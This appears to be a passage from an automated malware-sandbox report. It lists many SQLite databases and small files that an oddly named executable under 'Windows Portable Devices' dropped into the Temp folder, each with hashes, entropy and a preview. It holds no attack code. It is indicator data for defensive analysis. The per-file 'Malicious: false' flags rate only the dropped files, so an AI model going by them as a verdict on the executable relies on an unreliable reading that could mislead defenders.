Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\KYaqXwWyMm

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\KkbXt0ZKDy

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\KmRsrtjkK5

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\L1ypbUyOMo

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.133660689688185
Encrypted:	false
SSDEEP:	3:EJZqBcvZ2:E+02
MD5:	8E4B6EC00B99F6EE1B02504749FDDC06
SHA1:	C355FC9ED41DEFA906EC861B0F05D3A27FA2454B
SHA-256:	2229FBFCDE170A263504181C4C613F413A96E4F91E97DFD86EBFBE67D62D72CF
SHA-512:	3E99E727E49B109FA9BB7D7559A363F1833335C9CFB4DCA008440053A59DBD0F000B7391DC2EA830D92965D8A3C3A59A593401EF7FE5D5F40F6FB03E20D3C451
Malicious:	false
Preview:	v74mJyBSKBeWlO1PP7PyIkQES

C:\Users\user\AppData\Local\Temp\LEhZQ0XhtN

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\LHXArhy1Ts

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\LWvP3wZZ7y

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\LiK9CuvcLO

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\LkyqHoO1V9

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Lmw27X4ase

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\LqkOcevuTu

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\LvEI6RDbkU

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\M8yfEbVeGe

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MAyGHfiUwk

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MIuDAY5tD5

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MJNcYNlLWO

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MRVZZpYeim

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MRVvRRmTxS

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MUYqCtBmce

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\McfYMMoj3U

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mqtjr5I9iI

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\NBHGzbmgfx

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Nm8jXeuQVt

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\NwgO9yzTbL

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Ny2cfd7IeX

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\OHNWqDQQtm

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
